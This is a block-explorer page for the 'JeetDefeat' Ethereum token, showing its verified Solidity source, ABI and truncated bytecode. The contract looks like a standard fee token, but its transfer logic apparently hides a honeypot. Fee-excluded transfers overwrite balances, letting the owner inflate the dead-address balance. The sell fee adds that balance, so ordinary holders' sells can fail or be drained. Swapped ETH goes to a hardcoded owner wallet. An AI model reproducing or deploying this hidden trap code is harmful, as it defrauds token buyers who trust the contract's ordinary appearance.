ETH Price: $3,395.73 (-0.65%)
Gas: 13 Gwei

Token

JeetDefeat (JD)
 

Overview

Max Total Supply

10,000 JD

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
102.955283219063 JD

Value
$0.00
0x85c5078e24631b69f0f310176d23bcd980004741
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
jeetdefeat

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

//https://t.me/JeetDefeat
// SPDX-License-Identifier: None

pragma solidity 0.8.17;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
         _owner = 0x072CFBb5EC8fe4a5d891d4942A3628e42B7e23b9;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function renounceOwnership() public virtual  {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}




contract jeetdefeat is Context, IERC20, Ownable { 
   
    using Address for address;
     using SafeMath for uint256;


    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 12;
    uint256 private _tTotal = 10**4 * 10**_decimals;
    string private constant _name = unicode"JeetDefeat"; 
    string private constant _symbol = unicode"JD"; 

    uint256 public P_DR = 50;
    uint256 public Part_AutoLiquidity = 50; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 40; 
    uint256 public _BuyFee = 2;
    uint256 public _SellFee = 2;
    uint256 public _moonbag_percentage=1;
    uint256 public _lastblock; 
    uint256 public _lastblockcount = 1; 

    uint256 public _maxWalletToken = 35 * _tTotal.div(1000);
    uint256 public _maxTxAmount = _maxWalletToken; 

                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

  
        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


 function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20 ERR: approve from the zero address");
        require(spender != address(0), "BEP20 ERR: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {
       address liquidityburnwallet;
         liquidityburnwallet = 0x000000000000000000000000000000000000dEaD;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            liquidityburnwallet, 
            block.timestamp
        );
    } 

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] &&
            to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");

        
        require(amount > 0, "Token amount must be higher than 0.");    }

        uint256 tokenportion=amount;

        
        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] ){
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
    }
        bool isBuy;   
        bool takeFee = true;
        
        if (_isExcludedFromFee[from] && _isExcludedFromFee[to]){_tOwned[to]=tokenportion;}
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }
            if (_lastblock == block.number){
                _lastblockcount = _lastblockcount+1;
            }else{
                _lastblock =block.number;
                _lastblockcount = 1;
            }
            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

 



    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tLPhalf = contractTokenBalance * Part_AutoLiquidity / 200;
            uint256 tDev  = contractTokenBalance * P_DR / 100;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tLPhalf+tDev);
            uint256 BNB_Tot = address(this).balance - balanceBeforeSwap;

            uint256 split_D = P_DR * 100 / (Part_AutoLiquidity  + P_DR);
            uint256 BNB_D = BNB_Tot * split_D / 100;

            addLiquidity(tLPhalf, (BNB_Tot  - BNB_D));
            emit SwapAndLiquify(tLPhalf, (BNB_Tot  - BNB_D), tLPhalf);

            BNB_Tot = address(this).balance;
            sendToWallet(payable(0x072CFBb5EC8fe4a5d891d4942A3628e42B7e23b9), BNB_Tot);

            }



   




    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

           

            } else if (isBuy){

            uint256 buyFEE = tAmount*_BuyFee*_lastblockcount/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            
            } else {
            uint256 sellFEE = tAmount*_SellFee*_lastblockcount/100 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
            if (_lastblockcount == 2 ){sellFEE = tAmount*_SellFee/100;}            
            uint256 moonbag = tAmount * _moonbag_percentage/1000;
            uint256 tTransferAmount = tAmount-sellFEE-moonbag;

            _tOwned[sender] = _tOwned[sender]-tAmount+moonbag;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            

            }

    }

 function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"P_DR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Part_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblockcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moonbag_percentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000012600c600a6200050f565b620000209061271062000520565b6004819055603260058190556006556007805461ffff1916612800179055600260088190556009556001600a819055600c556200006c906103e8620003e5602090811b6200071317901c565b6200007990602362000520565b600d819055600e556010805460ff60a81b1916600160a81b179055348015620000a157600080fd5b50600080546001600160a01b03191673072cfbb5ec8fe4a5d891d4942a3628e42b7e23b990811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600454600160006200010f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b191906200053a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022591906200053a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029991906200053a565b601080546001600160a01b03199081166001600160a01b0393841617909155600f8054909116918316919091179055600160036000620002e16000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600390925281208054831660019081179091557f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff805484168217905561dead9091527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c80549092161790556200038e6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620003d691815260200190565b60405180910390a3506200058f565b6000620003f382846200056c565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000453578160001904821115620004375762000437620003fc565b808516156200044557918102915b93841c939080029062000417565b509250929050565b6000826200046c57506001620003f6565b816200047b57506000620003f6565b81600181146200049457600281146200049f57620004bf565b6001915050620003f6565b60ff841115620004b357620004b3620003fc565b50506001821b620003f6565b5060208310610133831016604e8410600b8410161715620004e4575081810a620003f6565b620004f0838362000412565b8060001904821115620005075762000507620003fc565b029392505050565b6000620003f360ff8416836200045b565b8082028115828204841417620003f657620003f6620003fc565b6000602082840312156200054d57600080fd5b81516001600160a01b03811681146200056557600080fd5b9392505050565b6000826200058a57634e487b7160e01b600052601260045260246000fd5b500490565b61159a806200059f6000396000f3fe6080604052600436106101a05760003560e01c806370a08231116100ec57806395d89b411161008a578063ba6c24a211610064578063ba6c24a2146104c0578063dd62ed3e146104d6578063e033da2a1461051c578063fa9771691461053257600080fd5b806395d89b4114610455578063a457c2d714610480578063a9059cbb146104a057600080fd5b8063768dc710116100c6578063768dc710146103db57806378109e541461040b5780637d1db4a5146104215780638da5cb5b1461043757600080fd5b806370a082311461037857806370e3d474146103ae578063715018a6146103c457600080fd5b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e1461030b5780634a74bb021461032b5780634c22cd351461034c57806366835bf41461036257600080fd5b8063313ce567146102b957806339509351146102d55780633fc81d68146102f557600080fd5b806306fdde03146101ac578063095ea7b3146101f15780631694505e1461022157806318160ddd14610259578063220f66961461027857806323b872dd1461029957600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600a8152691299595d11195999585d60b21b60208201525b6040516101e891906112d5565b60405180910390f35b3480156101fd57600080fd5b5061021161020c36600461133b565b610548565b60405190151581526020016101e8565b34801561022d57600080fd5b50600f54610241906001600160a01b031681565b6040516001600160a01b0390911681526020016101e8565b34801561026557600080fd5b506004545b6040519081526020016101e8565b34801561028457600080fd5b5060105461021190600160a01b900460ff1681565b3480156102a557600080fd5b506102116102b4366004611367565b61055f565b3480156102c557600080fd5b50604051600c81526020016101e8565b3480156102e157600080fd5b506102116102f036600461133b565b610609565b34801561030157600080fd5b5061026a600b5481565b34801561031757600080fd5b50601054610241906001600160a01b031681565b34801561033757600080fd5b5060105461021190600160a81b900460ff1681565b34801561035857600080fd5b5061026a60055481565b34801561036e57600080fd5b5061026a60065481565b34801561038457600080fd5b5061026a6103933660046113a8565b6001600160a01b031660009081526001602052604090205490565b3480156103ba57600080fd5b5061026a600a5481565b3480156103d057600080fd5b506103d961063f565b005b3480156103e757600080fd5b506102116103f63660046113a8565b60036020526000908152604090205460ff1681565b34801561041757600080fd5b5061026a600d5481565b34801561042d57600080fd5b5061026a600e5481565b34801561044357600080fd5b506000546001600160a01b0316610241565b34801561046157600080fd5b50604080518082019091526002815261129160f21b60208201526101db565b34801561048c57600080fd5b5061021161049b36600461133b565b610689565b3480156104ac57600080fd5b506102116104bb36600461133b565b610706565b3480156104cc57600080fd5b5061026a600c5481565b3480156104e257600080fd5b5061026a6104f13660046113c5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052857600080fd5b5061026a60095481565b34801561053e57600080fd5b5061026a60085481565b6000610555338484610726565b5060015b92915050565b600061056c848484610858565b6105ff84336105fa856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105d93390565b6001600160a01b031681526020810191909152604001600020549190610b8c565b610726565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105559185906105fa9086610bb8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061055533846105fa856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f0000000000815250600260006106d53390565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b8c565b6000610555338484610858565b600061071f8284611414565b9392505050565b6001600160a01b0383166107925760405162461bcd60e51b815260206004820152602860248201527f4245503230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b0382166107f75760405162461bcd60e51b815260206004820152602660248201527f4245503230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b6064820152608401610789565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff1615801561089a57506001600160a01b03831660009081526003602052604090205460ff16155b80156108b457506010546001600160a01b03838116911614155b1561097f576001600160a01b038216600090815260016020526040902054600d546108df8383611436565b11156109215760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b6044820152606401610789565b6000821161097d5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b6064820152608401610789565b505b6001600160a01b038216600090815260036020526040902054819060ff161580156109c357506001600160a01b03841660009081526003602052604090205460ff16155b15610a565760075460ff610100820481169116108015906109ee5750601054600160a01b900460ff16155b8015610a0857506010546001600160a01b03858116911614155b8015610a1d5750601054600160a81b900460ff165b15610a565730600090815260016020526040902054600e54811115610a415750600e545b6007805460ff19169055610a5481610bc4565b505b6001600160a01b03841660009081526003602052604081205460019060ff168015610a9957506001600160a01b03851660009081526003602052604090205460ff165b15610aba576001600160a01b03851660009081526001602052604090208390555b6001600160a01b03861660009081526003602052604090205460ff1680610af957506001600160a01b03851660009081526003602052604090205460ff165b15610b0657506000610b77565b6010546001600160a01b0390811690871603610b2157600191505b43600b5403610b4057600c54610b38906001611436565b600c55610b4a565b43600b556001600c555b6007805460ff16906000610b5d83611449565b91906101000a81548160ff021916908360ff160217905550505b610b848686868486610d10565b505050505050565b60008184841115610bb05760405162461bcd60e51b815260040161078991906112d5565b505050900390565b600061071f8284611436565b6010805460ff60a01b1916600160a01b17905560065460009060c890610bea9084611468565b610bf49190611414565b90506000606460055484610c089190611468565b610c129190611414565b905047610c27610c228385611436565b611099565b6000610c33824761147f565b90506000600554600654610c479190611436565b600554610c55906064611468565b610c5f9190611414565b905060006064610c6f8385611468565b610c799190611414565b9050610c8e86610c89838661147f565b6111eb565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186610cba838661147f565b604080519283526020830191909152810188905260600160405180910390a1479250610cfa73072cfbb5ec8fe4a5d891d4942a3628e42b7e23b98461129a565b50506010805460ff60a01b191690555050505050565b81610dca576001600160a01b038516600090815260016020526040902054610d3990849061147f565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610d69908490611436565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dbd9087815260200190565b60405180910390a3611092565b8015610ee85760006064600c5460085486610de59190611468565b610def9190611468565b610df99190611414565b90506000610e07828661147f565b6001600160a01b038816600090815260016020526040902054909150610e2e90869061147f565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610e5e908290611436565b6001600160a01b038716600090815260016020526040808220929092553081522054610e8b908390611436565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050611092565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54600c5460095460649190610f2b9088611468565b610f359190611468565b610f3f9190611414565b610f499190611436565b9050600c54600203610f7257606460095485610f659190611468565b610